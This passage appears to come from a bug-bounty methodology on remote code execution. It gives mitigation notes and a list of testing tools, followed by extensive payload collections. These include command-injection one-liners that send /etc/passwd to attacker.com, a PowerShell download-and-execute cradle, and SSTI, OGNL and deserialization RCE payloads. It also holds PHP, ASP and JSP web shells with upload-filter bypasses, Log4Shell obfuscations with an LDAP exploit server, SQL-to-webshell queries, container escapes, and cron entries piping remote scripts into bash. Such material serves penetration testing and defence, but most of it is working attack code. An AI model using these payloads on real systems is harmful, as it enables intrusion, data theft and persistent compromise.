`Function`, `subprocess.shell=True`, `Runtime.exec()` where possible\n- **Parameterized Execution**: Use parameterized\u002Farray-based process execution (`shell=False`); escape+allowlist arguments\n- **Template Engine Hardening**: Disable dangerous functions\u002Ftags; enable sandbox mode; don't accept user templates\n- **Strict Upload Validation**:\n  - Enforce content-type AND extension checks\n  - Verify via magic bytes (file signature)\n  - Re-encode\u002Fprocess files (strip metadata with exiftool -all=)\n  - Store uploads outside web root\n- **Sandbox File Processing**:\n  - Process uploads in isolated containers\u002FVMs\n  - Use seccomp, AppArmor, SELinux restrictions\n  - Run as non-root with minimal permissions\n  - No network access during processing\n  - Delay publish until validation completes\n- **Safe Deserialization**:\n  - Prefer JSON\u002FXML with strict schemas\n  - Sign and verify serialized data\n  - Avoid `pickle`, `marshal`, native object graphs\n  - Use allowlists for permitted classes\n- **Dependency Management**:\n  - Keep libraries updated (ImageMagick, ExifTool, FFmpeg, Log4j, etc.)\n  - Pin versions and audit dependencies\n  - Subscribe to security advisories\n  - Use tools: `npm audit`, `pip-audit`, `OWASP Dependency-Check`\n- **Network Segmentation**:\n  - Implement egress filtering to prevent OAST callbacks\n  - Restrict outbound connections from app servers\n  - Monitor DNS queries for suspicious patterns\n- **WAF\u002FRASP**:\n  - Deploy Web Application Firewall with RCE signatures\n  - Consider Runtime Application Self-Protection (RASP)\n  - Log and alert on suspicious payloads\n- **Log4Shell Specific**:\n  - Update to Log4j 2.17.1+\n  - Set `log4j2.formatMsgNoLookups=true`\n  - Remove JndiLookup class from classpath\n  - Monitor for obfuscated JNDI patterns\n\n### Testing Tools\n\n- **SSTI**: `tplmap`, `SSTImap`\n- **Deserialization**: `ysoserial`, `ysoserial.net`, `marshalsec`\n- **Command Injection**: Burp Intruder, `commix`\n- **General**: Burp ActiveScan, `nuclei` templates, `jaeles` signatures\n- **OAST**: Burp Collaborator, Interactsh, canarytokens.org\n","## Full Methodology\n\n# Remote Code Execution\n\noccurs when an attacker can execute arbitrary code on a target machine because of a vulnerability or misconfiguration.\n\n## Shortcut\n\n1. Identify suspicious user input locations. for code injections, take note of every user input location, including URL parameters, HTTP headers, body parameters, and file uploads. to find potential file inclusion vulnerabilities, check for input locations being used to inclusion vulnerabilities, check for input locations being used to determine or, construct filenames and, for file upload functions.\n2. Submit test payloads to the input locations in order to detect potential vulnerabilities.\n3. If your requests are blocked, try protection bypass techniques and see if your payload succeeds.\n4. Finally, confirm the vulnerability by trying to execute harmless commands such as `whoami`, `ls`, and, `sleep 5`.\n\n## Mechanisms\n\n### Code Injection\n\nThis program takes a user input string, pass it through `eval()` and return the results:\n\n```python\ndef calculate(input):\n  return eval(\"{}\".format(input))\n\nresult = calculate(user_input.calc)\nprint(\"The result is {}.\".format(result))\n```\n\nan attacker could provide the application with something more malicious instead:\n\n```http\nGET \u002Fcalculator?calc=\"__import__('os').system('ls')\"\nHost: example.com\n```\n\n### File Inclusion\n\nmaking the target server include a file containing malicious code.\n\n```php\n\u003C?php\n  \u002F\u002F Some PHP code\n\n  $file = $_GET[\"page\"];\n  include $file;\n\n  \u002F\u002F Some PHP code\n?>\n```\n\nif the application doesn't limit which file the user includes with the page parameter, an attacker can include a malicious PHP file.\n\n```php\n\u003C?PHP\n  system($_GET[\"cmd\"]);\n?>\n```\n\nand then they can run commands:\n\n```http\nhttp:\u002F\u002Fexample.com\u002F?page=http:\u002F\u002Fattacker.com\u002Fmalicious.php?cmd=ls\n```\n\n### Command Injection\n\nUntrusted data flows into OS command execution APIs.\n\nExamples:\n\n```python\nsubprocess.run(\"ping -c 1 \" + user, shell=True)  # vulnerable\nsubprocess.run([\"ping\", \"-c\", \"1\", user], shell=False)  # safer\n```\n\nDetect via time\u002Fdelay payloads (`&& sleep 5`), OAST\u002FDNS callbacks, and out-of-band responses.\n\n### Server-Side Template Injection (SSTI)\n\nUser-controlled template strings evaluated by template engines (Jinja2, Twig, Freemarker, Thymeleaf) can lead to RCE.\n\nProbe with arithmetic\u002Fconcat markers, escalate using engine-specific object graphs. Tools: `tplmap`.\n\n### Insecure Deserialization\n\nDeserializing untrusted data (Java, .NET, PHP, Python `pickle`) can trigger gadget chains to RCE.\n\nTest with known gadget payloads (e.g., `ysoserial`, `marshalsec`), and observe blind effects via OAST.\n\n### Unsafe YAML and Config Parsers\n\nLoading YAML with object constructors (`yaml.load` vs `safe_load`) can lead to code execution.\n\n### File Upload → Processing Chains\n\nUpload parsers (ImageMagick, ExifTool, video transcoders) may execute\u002Fparse complex formats leading to RCE. Test with harmless PoCs and OAST.\n\n## Hunt\n\n### 1. Identify Input Vectors\n\nMap all user-controlled input that could lead to code execution:\n\n- **Command-line argument injection**: APIs that execute shell commands, CLI tools, system utilities\n- **Template engines**: User-provided templates or template variables (Jinja2, Twig, Freemarker, Thymeleaf, ERB, Handlebars)\n- **File uploads**: Server-side processing of images, documents, archives, media files\n- **Deserialization endpoints**: APIs accepting serialized objects (Java, .NET, Python pickle, PHP serialize, Ruby Marshal)\n- **Expression Language fields**: Search filters, calculations, dynamic queries (SpEL, OGNL, MVEL, EL)\n- **Webhook URLs**: Server-side fetches triggered by user-supplied URLs\n- **Log file paths**: Log injection leading to log processing (LogForge, Log4Shell)\n- **Configuration files**: Upload or modification of config files (.htaccess, web.config, cron jobs)\n- **Email\u002Fdocument processing**: Mail parsers, PDF generators, office document converters\n- **Image manipulation**: ImageMagick, GraphicsMagick, Pillow, GD library operations\n- **Video\u002Faudio processing**: FFmpeg, ExifTool, media transcoders\n\n### 2. Test Payloads by Context\n\n#### Command Injection Payloads\n\n**Linux\u002FUnix:**\n\n```bash\n# Basic injection\n; whoami\n| whoami\n|| whoami\n& whoami\n&& whoami\n`whoami`\n$(whoami)\n\n# Time-based detection\n; sleep 10\n| sleep 10 &\n|| ping -c 10 127.0.0.1\n\n# Out-of-band (OAST)\n; nslookup $(whoami).attacker.com\n; curl http:\u002F\u002Fattacker.com\u002F$(whoami)\n; wget http:\u002F\u002Fattacker.com\u002F?data=$(cat \u002Fetc\u002Fpasswd | base64)\n\n# Space bypasses\ncat\u003C\u002Fetc\u002Fpasswd\n{cat,\u002Fetc\u002Fpasswd}\ncat$IFS\u002Fetc\u002Fpasswd\ncat${IFS}\u002Fetc\u002Fpasswd\nX=$'cat\\x20\u002Fetc\u002Fpasswd'&&$X\n\n# Command obfuscation\nc''at \u002Fetc\u002Fpasswd\nc\\at \u002Fetc\u002Fpasswd\nc\"a\"t \u002Fetc\u002Fpasswd\n$(echo Y2F0IC9ldGMvcGFzc3dk | base64 -d)\n\n# Wildcard injection\n\u002F???\u002F??t \u002F???\u002F??ss??\n\u002F???\u002Fn? 127.0.0.1\n\n# Variable expansion\na=w;b=hoami;$a$b\n```\n\n**Windows:**\n\n```cmd\n# Basic injection\n& whoami\n&& whoami\n| whoami\n|| whoami\n; whoami\n\n# Newline injection\n%0a whoami\n\n# Time-based\n| ping -n 10 127.0.0.1\n& timeout \u002Ft 10\n\n# OAST\n& nslookup %USERNAME%.attacker.com\n& certutil -urlcache -split -f http:\u002F\u002Fattacker.com\u002Fbeacon\n\n# PowerShell execution\n& powershell -c \"IEX(New-Object Net.WebClient).DownloadString('http:\u002F\u002Fattacker.com\u002Fshell.ps1')\"\n```\n\n#### Server-Side Template Injection (SSTI) Payloads\n\n**Jinja2 (Python - Flask, Ansible):**\n\n```python\n# Detection\n{{7*7}}                              # Returns 49\n{{7*'7'}}                            # Returns 7777777\n\n# Reconnaissance\n{{config}}\n{{config.items()}}\n{{self}}\n{%debug%}\n\n# RCE via __subclasses__\n{{''.__class__.__mro__[1].__subclasses__()}}\n\n# Find useful classes\n{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].popen('whoami').read()}}\n\n# subprocess.Popen\n{{''.__class__.__mro__[1].__subclasses__()[396]('whoami',shell=True,stdout=-1).communicate()}}\n\n# Modern bypass (Python 3)\n{{request.application.__globals__.__builtins__.__import__('os').popen('whoami').read()}}\n\n# Lipsum object abuse\n{{lipsum.__globals__['os'].popen('whoami').read()}}\n\n# Cycler object\n{{cycler.__init__.__globals__.os.popen('whoami').read()}}\n```\n\n**Twig (PHP - Symfony):**\n\n```twig\n# Detection\n{{7*7}}\n\n# RCE\n{{_self.env.registerUndefinedFilterCallback(\"exec\")}}\n{{_self.env.getFilter(\"whoami\")}}\n\n# Alternative\n{{_self.env.enableDebug()}}\n{{_self.env.isDebug()}}\n\n# PHP filter chain (modern)\n{{[\"id\"]|filter(\"system\")}}\n```\n\n**Freemarker (Java):**\n\n```java\n# Detection\n${7*7}\n\n# RCE\n\u003C#assign ex=\"freemarker.template.utility.Execute\"?new()>\n${ex(\"whoami\")}\n\n# Alternative\n\u003C#assign classLoader=object?api.class.protectionDomain.classLoader>\n\u003C#assign clazz=classLoader.loadClass(\"java.lang.Runtime\")>\n\u003C#assign method=clazz.getMethod(\"getRuntime\",null)>\n\u003C#assign runtime=method.invoke(null,null)>\n\u003C#assign method=clazz.getMethod(\"exec\",classLoader.loadClass(\"java.lang.String\"))>\n${method.invoke(runtime,\"whoami\")}\n```\n\n**Thymeleaf (Java - Spring):**\n\n```java\n# Detection\n[[${7*7}]]\n\n# RCE\n${T(java.lang.Runtime).getRuntime().exec('whoami')}\n[[${T(java.lang.Runtime).getRuntime().exec('whoami')}]]\n\n# Spring EL alternative\n${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream())}\n```\n\n**ERB (Ruby - Rails):**\n\n```ruby\n# Detection\n\u003C%= 7*7 %>\n\n# RCE\n\u003C%= system(\"whoami\") %>\n\u003C%= `whoami` %>\n\u003C%= IO.popen('whoami').readlines() %>\n\u003C%= %x(whoami) %>\n```\n\n**Velocity (Java):**\n\n```java\n# Detection\n#set($x = 7 * 7)$x\n\n# RCE\n#set($rt = $class.forName(\"java.lang.Runtime\"))\n#set($chr = $class.forName(\"java.lang.Character\"))\n#set($str = $class.forName(\"java.lang.String\"))\n#set($ex=$rt.getRuntime().exec(\"whoami\"))\n$ex.waitFor()\n#set($out=$ex.getInputStream())\n#foreach($i in [1..$out.available()])\n$chr.toString($out.read())\n#end\n```\n\n**Handlebars (JavaScript\u002FNode.js):**\n\n```javascript\n# Detection\n{{7*7}}\n\n# RCE (if helper is vulnerable)\n{{#with \"s\" as |string|}}\n  {{#with \"e\"}}\n    {{#with split as |conslist|}}\n      {{this.pop}}\n      {{this.push (lookup string.sub \"constructor\")}}\n      {{this.pop}}\n      {{#with string.split as |codelist|}}\n        {{this.pop}}\n        {{this.push \"return require('child_process').execSync('whoami');\"}}\n        {{this.pop}}\n        {{#each conslist}}\n          {{#with (string.sub.apply 0 codelist)}}\n            {{this}}\n          {{\u002Fwith}}\n        {{\u002Feach}}\n      {{\u002Fwith}}\n    {{\u002Fwith}}\n  {{\u002Fwith}}\n{{\u002Fwith}}\n```\n\n#### Expression Language (EL) Injection\n\n**Spring SpEL (Spring Framework):**\n\n```java\n# Detection\n${7*7}\n#{7*7}\n\n# RCE\n${T(java.lang.Runtime).getRuntime().exec('whoami')}\n#{T(java.lang.Runtime).getRuntime().exec('whoami')}\n\n# Alternative methods\n${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream())}\n\n# Bypass blacklist\n${T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"ex\"+\"ec\",T(String[])).invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"getRu\"+\"ntime\").invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\")),new String[]{\"whoami\"})}\n```\n\n**OGNL (Object-Graph Navigation Language - Struts):**\n\n```java\n# Detection\n${7*7}\n\n# RCE\n${@java.lang.Runtime@getRuntime().exec('whoami')}\n\n# CVE-2017-5638 (Content-Type exploitation)\nContent-Type: %{(#_='multipart\u002Fform-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','\u002Fc',#cmd}:{'\u002Fbin\u002Fbash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}\n```\n\n**MVEL (MVFLEX Expression Language):**\n\n```java\n# Detection\n${7*7}\n\n# RCE\nRuntime.getRuntime().exec(\"whoami\");\n```\n\n#### Deserialization Payloads\n\n**Java (using ysoserial):**\n\n```bash\n# Generate payload\njava -jar ysoserial.jar CommonsCollections6 'curl http:\u002F\u002Fattacker.com\u002Fbeacon' | base64\n\n# Popular gadget chains\nysoserial CommonsCollections1\nysoserial CommonsCollections6\nysoserial CommonsCollections7\nysoserial Spring1\nysoserial Spring2\nysoserial Jdk7u21\nysoserial Hibernate1\n```\n\n**.NET (using ysoserial.net):**\n\n```bash\n# Generate payload\nysoserial.exe -g ObjectDataProvider -f Json -c \"calc.exe\"\nysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c \"powershell.exe -c whoami\"\n\n# Gadgets\nTypeConfuseDelegate\nObjectDataProvider\nPSObject\nWindowsIdentity\n```\n\n**Python pickle:**\n\n```python\nimport pickle\nimport base64\nimport os\n\nclass RCE:\n    def __reduce__(self):\n        return (os.system, ('whoami',))\n\npayload = pickle.dumps(RCE())\nprint(base64.b64encode(payload))\n```\n\n**PHP serialize:**\n\n```php\n# Magic methods for exploitation\n__wakeup()\n__destruct()\n__toString()\n\n# Example payload\nO:8:\"stdClass\":1:{s:4:\"file\";s:17:\"\u002Fetc\u002Fpasswd\";}\n```\n\n### 3. Advanced Techniques\n\n#### Blind RCE Detection\n\n**Time-Based:**\n\n```bash\n# Linux\n; sleep 10\n| ping -c 10 127.0.0.1\n| timeout 10\n\n# Windows\n| ping -n 10 127.0.0.1\n& timeout \u002Ft 10\n```\n\n**Out-of-Band (OAST) using Burp Collaborator:**\n\n```bash\n# DNS exfiltration\n; nslookup $(whoami).burpcollaborator.net\n; dig $(whoami).burpcollaborator.net\n\n# HTTP callback\n; curl http:\u002F\u002Fburpcollaborator.net\n; wget http:\u002F\u002Fburpcollaborator.net\u002F$(whoami)\n\n# DNS with data exfiltration\n; cat \u002Fetc\u002Fpasswd | base64 | xargs -I {} nslookup {}.burpcollaborator.net\n```\n\n#### Bypass Techniques\n\n**Blacklist Bypasses:**\n\n```bash\n# Case variation\nWhOaMi\nwH%6f%61%6Di\n\n# Encoding\nwh\\u006fami\nwh\\x6fami\necho \"d2hvYW1p\" | base64 -d | sh\n\n# Line continuation\nwh\\\noami\n\n# Comments (bash)\nwh#comment\noami\n\n# Null byte (legacy)\nwhoami%00.jpg\n```\n\n**WAF Bypasses:**\n\n```bash\n# Unicode\u002Fencoding\nwh\\u006fami\n\n# Hex encoding\n\\x77\\x68\\x6f\\x61\\x6d\\x69\n\n# Concatenation\n'wh'+'oami'\n\"wh\"+\"oami\"\n\n# Variable expansion\na=w;b=hoami;$a$b\n```\n\n### 4. Confirm the Vulnerability\n\nExecute harmless commands to prove RCE without causing damage:\n\n```bash\n# Safe verification commands\nwhoami\nid\npwd\nhostname\nuname -a\ncat \u002Fetc\u002Fissue\nsysteminfo (Windows)\n\n# Create proof file\necho \"pwned_by_researcher\" > \u002Ftmp\u002Fproof.txt\n\n# Time-based confirmation\nsleep 10 && curl http:\u002F\u002Fattacker.com\u002Fconfirmed\n```\n\n**Practical Tactics:**\n\n- Use time-based payloads for blind cases; confirm via differential latency (baseline vs payload response time)\n- Use OAST (Burp Collaborator, Interactsh) to detect out-of-band DNS\u002FHTTP callbacks\n- For deserialization, try signed\u002Funsigned object tampering and gadget canaries\n- For uploads, verify server-side processing paths (thumbnails, metadata extraction, AV scanning windows)\n- Test multiple injection points in parallel; backend queue processing may delay execution\n- Monitor server-side logs if accessible (error logs often reveal stack traces)\n\n## Vulnerabilities\n\n### File Upload → RCE Chains\n\n#### 1. Web Shell Upload\n\n**PHP Web Shells:**\n\n```php\n# Minimal shell\n\u003C?php system($_GET['c']); ?>\n\n# Bypass extension filters\nshell.php.jpg\nshell.php%00.jpg     # Null byte (PHP \u003C5.3)\nshell.php%0a.jpg     # Newline\nshell.php.....       # Multiple dots\nshell.pHp            # Case variation\nshell.php%20         # Trailing space\nshell.php::$DATA     # Windows NTFS ADS\nshell.php\u002F           # Trailing slash (IIS)\n\n# Content-Type manipulation\nContent-Type: image\u002Fjpeg\nContent-Disposition: form-data; name=\"file\"; filename=\"shell.php.jpg\"\n\n# Polyglot files (valid image + PHP)\nGIF89a\u003C?php system($_GET['c']); ?>\n```\n\n**ASP\u002FASPX Shells:**\n\n```asp\n\u003C%@ Page Language=\"C#\" %>\n\u003C%@ Import Namespace=\"System.Diagnostics\" %>\n\u003C% Process.Start(\"cmd.exe\", \"\u002Fc \" + Request[\"c\"]); %>\n```\n\n**JSP Shells:**\n\n```jsp\n\u003C% Runtime.getRuntime().exec(request.getParameter(\"c\")); %>\n```\n\n#### 2. .htaccess \u002F web.config Injection\n\n**.htaccess to enable PHP in images:**\n\n```apache\nAddType application\u002Fx-httpd-php .jpg\nAddHandler application\u002Fx-httpd-php .jpg\n\n# Alternative\n\u003CFilesMatch \"\\.jpg$\">\n  SetHandler application\u002Fx-httpd-php\n\u003C\u002FFilesMatch>\n```\n\n**web.config to enable ASP in images:**\n\n```xml\n\u003Cconfiguration>\n  \u003Csystem.webServer>\n    \u003Chandlers>\n      \u003Cadd name=\"jpg\" path=\"*.jpg\" verb=\"*\" type=\"System.Web.UI.PageHandlerFactory\" \u002F>\n    \u003C\u002Fhandlers>\n  \u003C\u002Fsystem.webServer>\n\u003C\u002Fconfiguration>\n```\n\n#### 3. Archive Extraction (Zip Slip - CVE-2018-1002200)\n\n```bash\n# Create malicious zip with path traversal\nln -s ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fetc\u002Fcron.d\u002Fevil evil.txt\nzip --symlinks evil.zip evil.txt\n\n# Or craft manually with path traversal\nevil\u002F\n  ..\u002F..\u002F..\u002F..\u002Fvar\u002Fwww\u002Fhtml\u002Fshell.php\n  ..\u002F..\u002F..\u002F..\u002Fetc\u002Fcron.d\u002Fbackdoor\n```\n\n**Testing:**\n\n- Upload zip\u002Ftar containing paths with `..\u002F`\n- Symlink to sensitive locations\n- Overwrite cron jobs, SSH keys, web roots\n\n#### 4. ImageMagick Exploits\n\n**ImageTragick (CVE-2016-3714):**\n\n```\npush graphic-context\nviewbox 0 0 640 480\nfill 'url(https:\u002F\u002Fattacker.com\u002Fshell.jpg\"|whoami\")'\npop graphic-context\n```\n\n**Modern ImageMagick RCE (CVE-2022-44268):**\n\n```bash\n# Arbitrary file read\nconvert -size 1x1 xc:red -set \"profile:1\" \"\u002Fetc\u002Fpasswd\" exploit.png\n\n# Exploitation\nconvert exploit.png output.png\nidentify -verbose output.png | grep \"Raw profile type\"\n```\n\n**Other ImageMagick vectors:**\n\n- MSL (Magick Scripting Language) injection\n- Label injection for RCE\n- SVG with embedded scripts\n\n#### 5. PDF Processing RCE\n\n**PDF with JavaScript:**\n\n```javascript\napp.alert({ cMsg: \"XSS\", cTitle: \"XSS\" });\n\n\u002F\u002F File system access (if enabled)\nthis.exportDataObject({ cName: \"test\", nLaunch: 2 });\n```\n\n**LaTeX Injection:**\n\n```latex\n\\documentclass{article}\n\\immediate\\write18{whoami}\n\\begin{document}\nHello World\n\\end{document}\n\n# Alternative\n\\input{|\"whoami\"}\n```\n\n**XSL-FO Injection (Apache FOP):**\n\n```xml\n\u003Cfo:instream-foreign-object>\n  \u003Csvg:svg>\n    \u003Csvg:script>java.lang.Runtime.getRuntime().exec(\"whoami\")\u003C\u002Fsvg:script>\n  \u003C\u002Fsvg:svg>\n\u003C\u002Ffo:instream-foreign-object>\n```\n\n#### 6. Office Document Processing\n\n**XXE in DOCX\u002FXLSX:**\n\n```xml\n# Extract document1.xml from DOCX\n\u003C!DOCTYPE test [\n  \u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">\n]>\n\u003Cdocument>&xxe;\u003C\u002Fdocument>\n```\n\n**Macro-enabled Documents:**\n\n- DOCM, XLSM, PPTM files with VBA macros\n- Excel 4.0 macros (XLM) bypass modern protections\n- DDE (Dynamic Data Exchange) injection\n\n**LibreOffice\u002FOpenOffice Exploits:**\n\n- CVE-2023-2255: Remote code execution via crafted documents\n- Python macro execution in LibreOffice\n\n### Log4Shell (CVE-2021-44228)\n\n**Basic Payloads:**\n\n```bash\n${jndi:ldap:\u002F\u002Fattacker.com\u002Fa}\n${jndi:rmi:\u002F\u002Fattacker.com\u002Fa}\n${jndi:dns:\u002F\u002Fattacker.com\u002Fa}\n\n# Common injection points\nUser-Agent: ${jndi:ldap:\u002F\u002Fattacker.com\u002Fa}\nX-Api-Version: ${jndi:ldap:\u002F\u002Fattacker.com\u002Fa}\nReferer: ${jndi:ldap:\u002F\u002Fattacker.com\u002Fa}\n```\n\n**Obfuscation Bypasses:**\n\n```bash\n# Lowercase\u002Fuppercase\n${${lower:j}ndi:ldap:\u002F\u002Fattacker.com\u002Fa}\n${${upper:j}ndi:ldap:\u002F\u002Fattacker.com\u002Fa}\n\n# Environment variables\n${j${env:NOTHING:-n}di:ldap:\u002F\u002Fattacker.com\u002Fa}\n\n# Nested lookups\n${jnd${sys:java.version:-i}:ldap:\u002F\u002Fattacker.com\u002Fa}\n\n# Multiple levels\n${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}:\u002F\u002Fattacker.com\u002Fa}\n```\n\n**Setup LDAP server for exploitation:**\n\n```bash\n# Using marshalsec\njava -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer \"http:\u002F\u002Fattacker.com\u002F#Exploit\" 1389\n\n# Exploit.java - compile and host\npublic class Exploit {\n    static {\n        try {\n            Runtime.getRuntime().exec(\"curl http:\u002F\u002Fattacker.com\u002Fpwned\");\n        } catch (Exception e) {}\n    }\n}\n```\n\n### Prototype Pollution → RCE (Node.js)\n\n**Pollute Object prototype:**\n\n```javascript\n\u002F\u002F Via JSON\n{\"__proto__\": {\"isAdmin\": true}}\n{\"constructor\": {\"prototype\": {\"isAdmin\": true}}}\n\n\u002F\u002F Via query parameters\n?__proto__[isAdmin]=true\n?constructor[prototype][isAdmin]=true\n```\n\n**Escalate to RCE:**\n\n```javascript\n\u002F\u002F Pollute child_process options\n{\n  \"__proto__\": {\n    \"shell\": \"\u002Fbin\u002Fsh\",\n    \"argv0\": \"console.log(require('child_process').execSync('whoami').toString())\u002F\u002F\"\n  }\n}\n\n\u002F\u002F Pollute via NODE_OPTIONS\n{\"__proto__\": {\"NODE_OPTIONS\": \"--require \u002Ftmp\u002Fmalicious.js\"}}\n\n\u002F\u002F CVE-2022-21824 - Prototype pollution in VM module\n```\n\n### FFmpeg \u002F ExifTool Exploits\n\n**FFmpeg SSRF (CVE-2016-1897, CVE-2016-1898):**\n\n```\n# Playlist SSRF\nconcat:http:\u002F\u002Fattacker.com\u002Fplaylist|file:\u002F\u002F\u002Fetc\u002Fpasswd\n\n# HLS SSRF\n#EXTM3U\n#EXT-X-MEDIA-SEQUENCE:0\n#EXTINF:10.0,\nhttp:\u002F\u002Finternal.server\u002Fadmin\n```\n\n**ExifTool RCE (CVE-2021-22204):**\n\n```bash\n# Create malicious image with DjVu exploit\nexiftool -config exploit.config '-HasselbladExif\u003C=exploit.jpg' malicious.jpg\n```\n\n### SQL Injection → RCE\n\n**MySQL:**\n\n```sql\n-- Write web shell\nSELECT '\u003C?php system($_GET[\"c\"]); ?>' INTO OUTFILE '\u002Fvar\u002Fwww\u002Fhtml\u002Fshell.php';\n\n-- Read file\nLOAD_FILE('\u002Fetc\u002Fpasswd');\n\n-- UDF exploitation\nCREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';\nSELECT sys_exec('whoami');\n```\n\n**PostgreSQL:**\n\n```sql\n-- COPY TO PROGRAM (9.3+)\nCOPY (SELECT '') TO PROGRAM 'curl http:\u002F\u002Fattacker.com\u002Fbeacon';\n\n-- Large Object + lo_export\nSELECT lo_create(-1);\nINSERT INTO pg_largeobject VALUES (-1, 0, decode('\u003C?php system($_GET[\"c\"]); ?>', 'base64'));\nSELECT lo_export(-1, '\u002Fvar\u002Fwww\u002Fhtml\u002Fshell.php');\n```\n\n**MSSQL:**\n\n```sql\n-- xp_cmdshell\nEXEC sp_configure 'show advanced options', 1;\nRECONFIGURE;\nEXEC sp_configure 'xp_cmdshell', 1;\nRECONFIGURE;\nEXEC xp_cmdshell 'whoami';\n\n-- OLE Automation\nEXEC sp_OACreate 'WScript.Shell', @shell OUTPUT;\nEXEC sp_OAMethod @shell, 'Run', NULL, 'cmd \u002Fc whoami';\n```\n\n### Container Escape → RCE\n\n**Docker Socket Exposure:**\n\n```bash\n# If \u002Fvar\u002Frun\u002Fdocker.sock is mounted\ndocker -H unix:\u002F\u002F\u002Fvar\u002Frun\u002Fdocker.sock run -v \u002F:\u002Fhost -it alpine chroot \u002Fhost sh\n```\n\n**Privileged Container:**\n\n```bash\n# From privileged container\nmkdir \u002Ftmp\u002Fexploit\nmount \u002Fdev\u002Fsda1 \u002Ftmp\u002Fexploit\nchroot \u002Ftmp\u002Fexploit sh\n```\n\n**Kernel Exploits:**\n\n- Dirty COW (CVE-2016-5195)\n- DirtyPipe (CVE-2022-0847)\n- DirtyCred (CVE-2022-2588)\n\n## Chaining and Escalation\n\n### 1. Path Traversal → RCE\n\n```bash\n# Overwrite SSH authorized_keys\nPUT \u002Fupload?path=..\u002F..\u002F.ssh\u002Fauthorized_keys\n\n# Overwrite cron job\nPUT \u002Fupload?path=..\u002F..\u002Fetc\u002Fcron.d\u002Fbackdoor\nContent: * * * * * root curl http:\u002F\u002Fattacker.com\u002Fshell.sh | bash\n\n# Overwrite bash profile\nPUT \u002Fupload?path=..\u002F..\u002F.bashrc\n\n# Overwrite PHP auto-prepend\nPUT \u002Fupload?path=..\u002F..\u002F.user.ini\nContent: auto_prepend_file=\u002Ftmp\u002Fshell.php\n```\n\n### 2. SSRF → RCE\n\n```bash\n# SSRF to cloud metadata → IAM creds\nhttp:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\n\n# SSRF to internal admin → RCE\nhttp:\u002F\u002Finternal:8080\u002Fadmin\u002Fexec?cmd=whoami\n\n# SSRF to Redis → cron job\nhttp:\u002F\u002Flocalhost:6379\nCONFIG SET dir \u002Fetc\u002Fcron.d\u002F\nCONFIG SET dbfilename root\nSET 1 \"* * * * * root curl http:\u002F\u002Fattacker.com\u002Fshell.sh | bash\"\nSAVE\n```\n\n### 3. XXE → RCE\n\n```xml\n# XXE + PHP expect wrapper\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"expect:\u002F\u002Fwhoami\">\n]>\n\u003Croot>&xxe;\u003C\u002Froot>\n\n# XXE + JAR protocol (Java)\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"jar:http:\u002F\u002Fattacker.com\u002Fmalicious.jar!\u002Fpayload.class\">\n]>\n```\n\n### 4. SSTI → File Write → RCE\n\n```python\n# Jinja2 write web shell\n{{''.__class__.__mro__[1].__subclasses__()[40]('\u002Fvar\u002Fwww\u002Fhtml\u002Fshell.php','w').write('\u003C?php system($_GET[\"c\"]); ?>')}}\n```\n\n## Real-World CVEs and Cases\n\n### Critical RCE Vulnerabilities\n\n1. **CVE-2021-44228 - Log4Shell (Apache Log4j)**:\n   - JNDI injection in logging library\n   - Affected: Minecraft, VMware, Cisco, countless others\n   - Impact: Unauthenticated RCE on millions of systems\n\n2. **CVE-2022-22965 - Spring4Shell (Spring Framework)**:\n   - Class loader manipulation via property binding\n   - Impact: RCE on Spring MVC applications\n\n3. **CVE-2021-3129 - Laravel Debug Mode RCE**:\n   - Ignition debug page deserialization\n   - Impact: Unauthenticated RCE on Laravel apps with debug enabled\n\n4. **CVE-2019-0193 - Apache Solr RCE**:\n   - Velocity template injection\n   - Impact: Unauthenticated RCE on Solr instances\n\n5. **CVE-2017-5638 - Apache Struts2 RCE**:\n   - OGNL injection via Content-Type header\n   - Impact: Led to Equifax breach affecting 147M people\n\n6. **CVE-2020-1938 - Ghostcat (Apache Tomcat)**:\n   - AJP protocol file read\u002Finclusion\n   - Impact: RCE via arbitrary file write\n\n7. **CVE-2022-26134 - Confluence RCE**:\n   - OGNL injection in Confluence Server\u002FData Center\n   - Impact: Unauthenticated RCE\n\n8. **CVE-2018-1002200 - Kubernetes Arbitrary File Overwrite (Zip Slip)**:\n   - Path traversal in tar\u002Fzip extraction\n   - Impact: Container escape via kubectl cp\n\n9. **CVE-2016-3714 - ImageTragick (ImageMagick)**:\n   - Command injection via image processing\n   - Impact: RCE on image upload features\n\n10. **CVE-2021-22204 - ExifTool RCE**:\n    - DjVu metadata command injection\n    - Impact: RCE via image metadata parsing\n\n### Impact Categories\n\n- **Critical**: Unauthenticated RCE on internet-facing services\n- **High**: Authenticated RCE or unauthenticated RCE requiring interaction\n- **Medium**: RCE requiring specific configuration or 